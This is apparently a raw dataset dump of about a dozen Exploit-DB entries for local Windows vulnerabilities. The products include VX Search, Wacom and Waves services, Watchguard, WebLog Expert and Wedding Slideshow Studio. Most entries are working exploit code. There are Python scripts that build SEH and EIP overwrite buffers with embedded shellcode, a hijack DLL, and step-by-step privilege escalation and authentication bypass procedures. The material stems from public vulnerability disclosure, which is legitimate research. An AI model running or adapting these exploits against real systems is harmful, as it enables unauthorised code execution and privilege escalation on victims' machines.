deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42539
Description: VX Search Enterprise 9.9.12 - 'Import Command' Local Buffer Overflow
Type: local
Platform: windows
Date: 2017-08-22
Author: Anurag Srivastava

Exploit:
#!/usr/bin/python
 
# Exploit Title	    : VX Search Enterprise v9.9.12 - 'Import Command' Buffer Overflow  
# Discovery by      : Anurag Srivastava
# Email             : anurag.srivastava@pyramidcyber.com
# Website 	    : www.pyramidcyber.com
# Discovery Date    : 22/08/2017
# Software Link     : http://www.vxsearch.com/setups/vxsearchent_setup_v9.9.12.exe
# Tested Version    : 9.9.12
# Tested on OS      : Windows 7 Ultimate x64bit and Windows 10 Home Edition x64
# Steps to Reproduce: Run the python file to generate pyramid.xml and then open VX Search Enterprise software , right click and click on import command . Select pyramid.xml file .
 
import os,struct
 
#offset to eip
junk = "A" * (1560)

#JMP ESP (QtGui4.dll)
jmp1 = struct.pack('<L',0x651bb77a)

#NOPS
nops = "\x90"
 
#LEA   EAX, [ESP+76]
esp = "\x8D\x44\x24\x4c"

#JMP ESP
jmp2 = "\xFF\xE0"

#JMP Short
nseh = "\x90\x90\xEB\x05" #Jump short 5



#POP POP RET (libspp.dll)
seh = struct.pack('<L',0x10015FFE)


#CALC.EXE
shellcode =  "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"
 

# FINAL PAYLOAD
evil = junk + jmp1 + nops * 16 + esp + jmp2 + nops * 64 + nseh + seh + nops * 10 + shellcode 

 
#FILE
file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + evil + '\n</classify>'
 
f = open('pyramid.xml', 'w')
f.write(file)
f.close()
Exploit-DB #40484
Description: Wacom Consumer Service - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-09
Author: Ross Marks

Exploit:
Wacom Consumer Service: 	http://www.wacom.com
By Ross Marks:      		http://www.rossmarks.co.uk
Exploit-db:         		https://www.exploit-db.com/author/?a=8724
Category:           		Local
Tested on:          		Windows 10 x86/x64
 
1) Unquoted Service Path Privilege Escalation 
 
Wacom's "Wacom Consumer Service" installs as a service with an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged localuser to execute arbitrary code with elevated privileges on the system.
 
A successful attempt would require the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.
 
PoC:
 
C:\>sc qc WTabletServiceCon
[SC] QueryServiceConfig SUCCESS
 
SERVICE_NAME: WTabletServiceCon
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Tablet\Pen\WtabletServiceCon.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wacom Consumer Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #47593
Description: Wacom WTabletService 6.6.7-3 - 'WTabletServicePro' Unquoted Service Path
Type: local
Platform: windows
Date: 2019-11-06
Author: Marcos Antonio León

Exploit:
# Exploit Title: Wacom WTabletService 6.6.7-3 - 'WTabletServicePro' Unquoted Service Path
# Discovery by: Marcos Antonio León (psk)
# Discovery Date: 2019-11-04
# Vendor Homepage: https://www.wacom.com
# Software Link : http://cdn.wacom.com/U/drivers/IBMPC/pro/WacomTablet_637-3.exe
# Tested Version: 6.3.7.3
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Home x64 es

# Step to discover Unquoted Service Path:

C:\>sc qc WTabletServicePro
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: WTabletServicePro
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Tablet\Wacom\WTabletServicePro.exe
        GRUPO_ORDEN_CARGA  : PlugPlay
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Wacom Professional Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

A successful attempt would require the local attacker must insert an
executable file in the path of the service. Upon service restart or
system reboot, the malicious code will be run with elevated
privileges.
Exploit-DB #38752
Description: Watchguard Server Center - Local Privilege Escalation
Type: local
Platform: windows
Date: 2013-09-08
Author: Julien Ahrens

Exploit:
// source: https://www.securityfocus.com/bid/62261/info

Watchguard Server Center is prone to a local privilege-escalation vulnerability.

Local attackers can exploit this issue to gain SYSTEM privileges. Successful exploits will result in the complete compromise of affected computers.

Watchguard Server Center 11.7.4 and 11.7.3 are vulnerable; other versions may also be affected. 

#include <windows.h>

#define DLL_EXPORT __declspec(dllexport)

#ifdef __cplusplus
extern "C"
{
#endif

void DLL_EXPORT wgpr_library_get()
{
    WinExec("calc",0);
}

#ifdef __cplusplus
}
#endif
Exploit-DB #17821
Description: Wav Player 1.1.3.6 - '.pll' Local Buffer Overflow
Type: local
Platform: windows
Date: 2011-09-12
Author: Iván García Ferreira

Exploit:
# Exploit Title: wav player 1.1.3.6 .pll Buffer Overflow
# Date: 12/09/2011
# Author: Ivan Garcia Ferreira
# Version: 1.1.3.6
# Tested on: Windows 7 SP1 x86 Spanish
#
# Description:
# Wav player can not handle properly large playlists (more than 1G). 
# Reproduce:
# Open the wav player, make a playlist and save it. Then, close the 
# player and run this exploit to create the new playlist. When you open again 
# wav player, you will see the calc. ;)
#
# Thanks to:
# Corelan Team for their excelent articles about exploits

fichero = open("wv_player.pll", "w")
print "[+] Creating exploit .pll..."

fichero.write("A"*1034) # Padding

fichero.write("t%dA")  #help the first ret
fichero.write("\x6d")  #nop/align
fichero.write("\x55")  #push ebp
fichero.write("\x6d")  #nop/align
fichero.write("\x58")  #pop eax
fichero.write("\x6d")  #pop/align
fichero.write("\x05\x14\x11")   #add eax,0x11001400
fichero.write("\x6d")  #pop/align
fichero.write("\x2d\x04\x11")   #sub eax,0x11001300
fichero.write("\x6d")  #pop/align

fichero.write("\x50")  #push eax
fichero.write("\x6d") #nop/align
fichero.write("\xc3") #ret

fichero.write("B"*306) # more padding

# Shellcode WinExec "calc.exe"
fichero.write("PPYAIAIAIAIAQATAXAZAPA3QADAZA" +
"BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA" +
"58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB" +
"AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K" +
"22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL" +
"MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55" +
"Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V" +
"NQKONQ90FLGQ8OLMKQY7NXK0T5L4M33MKHOKSMND45JB" +
"R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT" +
"NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU" +
"89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM" +
"KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC" +
"QQ2LRCM0LJA")

# Padding to get the crash
for cont in range(1,14000):
	fichero.write("A"*15000)
fichero.close()

print "[+] File Exploit .pll Created."
Exploit-DB #40478
Description: Waves Audio Service - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-07
Author: Ross Marks

Exploit:
Waves Audio Service:	http://www.maxx.com
By Ross Marks: 			http://www.rossmarks.co.uk
Exploit-db:				https://www.exploit-db.com/author/?a=8724
Category:				Local
Tested on:				Windows 10 x86/x64

1) Unquoted Service Path Privilege Escalation 

Max audio drivers (dell default ones) installs as a service with an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged localuser to execute arbitrary code with elevated privileges on the system.

A successful attempt would require the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.

PoC:

C:\WINDOWS\system32>sc qc WavesSysSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WavesSysSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Waves Audio Services
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #47710
Description: Waves MaxxAudio Drivers 1.1.6.0 - 'WavesSysSvc64' Unquoted Service Path
Type: local
Platform: windows
Date: 2019-11-25
Author: Luis Martínez

Exploit:
# Exploit Title: Waves MaxxAudio Drivers 1.1.6.0 - 'WavesSysSvc64' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2019-11-24
# Vendor Homepage: https://www.dell.com/
# Software Link : https://www.dell.com/support/home/mx/es/mxbsdt1/drivers/driversdetails?driverid=vwpkk
# Tested Version: 1.1.6.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Audio" | findstr /i /v """

Waves Audio Services	WavesSysSvc	C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe	Auto

# Service info:

C:\>sc qc WavesSysSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WavesSysSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Waves Audio Services
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #47522
Description: Web Companion versions 5.1.1035.1047 - 'WCAssistantService' Unquoted Service Path
Type: local
Platform: windows
Date: 2019-10-17
Author: Debashis Pal

Exploit:
# Exploit Title: Web Companion versions 5.1.1035.1047 - 'WCAssistantService' Unquoted Service Path
# Exploit Author: Debashis Pal
# Date: 2019-10-17
# Vendor Homepage : https://webcompanion.com
# Source: https://webcompanion.com
# Version: Web Companion versions 5.1.1035.1047
# CVE : N/A
# Tested on: Windows 7 SP1(64bit)

1. Description:
Web Companion versions 5.1.1035.1047 service 'WCAssistantService' have an unquoted service path.

2. PoC:

C:\>sc qc WCAssistantService
sc qc WCAssistantService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WCAssistantService
        TYPE               : 10  WIN32_OWN_PROCESS 
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : WC Assistant
        DEPENDENCIES       : 
        SERVICE_START_NAME : LocalSystem


3. Exploit:
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges of the application.

# Disclaimer
=============
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information.
The author prohibits any malicious use of security related information or exploits by the author or elsewhere.
Exploit-DB #44270
Description: WebLog Expert Enterprise 9.4 - Authentication Bypass
Type: local
Platform: windows
Date: 2018-03-09
Author: hyp3rlinx

Exploit:
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/WEBLOG-EXPERT-WEB-SERVER-ENTERPRISE-v9.4-AUTHENTICATION-BYPASS.txt
[+] ISR: Apparition Security          
 

Vendor:
========
www.weblogexpert.com


Product:
========
WebLog Expert Web Server Enterprise v9.4

WebLog Expert is a fast and powerful access log analyzer. It will give you information about your site's visitors:
activity statistics, accessed files, paths through the site, information about referring pages, search engines, browsers,
operating systems, and more. The program produces easy-to-read reports that include both text information (tables) and charts.



Vulnerability Type:
===================
Authentication Bypass



CVE Reference:
==============
CVE-2018-7581



Security Issue:
================
The "WebServer.cfg" under "ProgramData\WebLog Expert\WebServer\" used by WebLog Expert Web Server Enterprise 9.4
has weak permissions (BUILTIN\Users:(ID)C), which allows local users to set a cleartext password and login as admin.

A standard non Windows Administrator user can edit the 'WebServer.cfg' file under "C:\ProgramData\WebLog Expert\WebServer"
set to a cleartext password and login as admin.

e.g.

C:\ProgramData\WebLog Expert\WebServer>cacls * | more
C:\ProgramData\WebLog Expert\WebServer\WebServer.cfg BUILTIN\Users:(ID)C         
                                                      BUILTIN\Administrators:(ID)C
                                                      NT AUTHORITY\SYSTEM:(ID)F
                                                      BUILTIN\Administrators:(ID)F


Exploit/POC:
=============
Login as a 'Standard' Windows user
Comment out the Admin hashed password using ';' then add any cleartext password as follows.

[User:admin]
Password=1234
;PasswordHash=3413C538CE5234FB194E82AE1F3954FD2BC848C0
bAllProfiles=1

Now login in as Admin! :)



Network Access:
===============
Local



Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification: March 1, 2018
No replies from previous attempts
March 7, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
Exploit-DB #44389
Description: WebLog Expert Enterprise 9.4 - Privilege Escalation
Type: local
Platform: windows
Date: 2018-04-02
Author: bzyo

Exploit:
Exploit Author: bzyo
Twitter: @bzyo_
Exploit Title: WebLog Expert Enterprise 9.4 - Privilege Escalation
Date: 03-31-2018
Vulnerable Software: WebLog Expert Enterprise 9.4
Vendor Homepage: https://www.weblogexpert.com/
Version: 9.4
Software Link: https://www.weblogexpert.com/download.htm
Tested On: Windows 7 x86 and x64


Details:
By default WebLog Expert Enterprise 9.4 runs scheduled tasks under Local System account. 
If WebLog Expert Schedule Service is installed by an administrator, regular users have the 
ability to run tasks as Local System.


Exploit:
1. Login as regular user where WebLog Expert and WebLog Expert Schedule Service are installed

2. Open WebLog Expert and then Schedule
	 
3. Select Add, Next, choose 'Sample - HTML' under Profile, Next

4. Check 'Run command...' box, fill in 'Command' and 'Run in' as listed below
	Command: C:\Windows\System32\cmd.exe
	Run in: C:\Windows\System32\

5. Select Next, Finish, Highlight New Task, select Run Now

6. Pop-up will appear in taskbar that reads 'A program running on this computer is trying to display a message'

7. Select 'View the message'

8. Command prompt is shown
	C:\Windows\system32>whoami
	nt authority\system

Prerequisites:
To successfully exploit this vulnerability, an attacker must already have access 
to a system running WebLog Expert and WebLog Expert Schedule Service using a
low-privileged user account

Risk:
The vulnerability allows local attackers to escalate privileges and execute
arbitrary code as Local System aka Game Over.

Fix:
Under Schedule Options, change default account that runs scheduled tasks
Exploit-DB #48028
Description: Wedding Slideshow Studio 1.36 - 'Key' Buffer Overflow
Type: local
Platform: windows
Date: 2020-02-10
Author: ZwX

Exploit:
#Exploit Title: Wedding Slideshow Studio 1.36 - 'Key' Buffer Overflow
#Exploit Author : ZwX
#Exploit Date: 2020-02-09
#Vendor Homepage : http://www.wedding-slideshow-studio.com/
#Tested on OS: Windows 10 v1803
#Social: twitter.com/ZwX2a

## Steps to Reproduce: ##
#1. Run the python exploit script, it will create a new file with the name "poc.txt".
#2. Just copy the text inside "poc.txt".
#3. Start the program. In the new window click "Help" > "Register ...
#4. Now paste the content of "poc.txt" into the field: "Registration Key" > Click "Ok"
#5. The calculator runs successfully

#!/usr/bin/python 

from struct import pack

buffer = "\x41" * 1608
nseh = "\xeb\x06\xff\xff"
seh = pack("<I",0x10023b8a)
#0x10023b8a : pop edi # pop esi # ret 0x04 |{PAGE_EXECUTE_READ} [DVDPhotoData.dll] 
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v8.0.6.0 (C:\Program Files\Wedding Slideshow Studio\DVDPhotoData.dll)
shellcode =  ""
shellcode += "\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"
shellcode += "\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"
shellcode += "\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"
shellcode += "\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"
shellcode += "\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"
shellcode += "\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"
shellcode += "\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"
shellcode += "\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"
shellcode += "\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"
shellcode += "\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"
shellcode += "\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"
shellcode += "\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"
shellcode += "\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"
shellcode += "\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"
shellcode += "\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"
shellcode += "\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"
shellcode += "\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"

payload = buffer + nseh + seh + shellcode
try:
    f=open("poc.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #48050
Description: Wedding Slideshow Studio 1.36 - 'Name' Buffer Overflow
Type: local
Platform: windows
Date: 2020-02-11
Author: ZwX

Exploit:
#Exploit Title: Wedding Slideshow Studio 1.36 - 'Name' Buffer Overflow
#Exploit Author : ZwX
#Exploit Date: 2020-02-10
#Vendor Homepage : http://www.wedding-slideshow-studio.com/
#Tested on OS: Windows 10 v1803
#Social: twitter.com/ZwX2a


## Steps to Reproduce: ##
#1. Run the python exploit script, it will create a new file with the name "name.txt".
#2. Just copy the text inside "name.txt".
#3. Start the program. In the new window click "Help" > "Register ...
#4. Now paste the content of "name.txt" into the field: "Registration Name" > Click "Ok"
#5. The calculator runs successfully


#!/usr/bin/python 

from struct import pack

buffer = "\x41" * 256
nseh = "\xeb\x06\xff\xff"
seh = pack("<I",0x100411fc)
#0x100411fc : pop edi # pop esi # ret 0x04 |  {PAGE_EXECUTE_READ} [DVDPhotoData.dll]
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v8.0.6.0 (C:\Program Files\Wedding Slideshow Studio\DVDPhotoData.dll)
long_buffer = "\x44" * 600
shellcode =  ""
shellcode += "\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"
shellcode += "\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"
shellcode += "\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"
shellcode += "\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"
shellcode += "\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"
shellcode += "\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"
shellcode += "\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"
shellcode += "\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"
shellcode += "\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"
shellcode += "\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"
shellcode += "\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"
shellcode += "\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"
shellcode += "\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"
shellcode += "\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"
shellcode += "\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"
shellcode += "\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"
shellcode += "\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"

payload = buffer + nseh + seh + shellcode + long_buffer
try:
    f=open("name.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"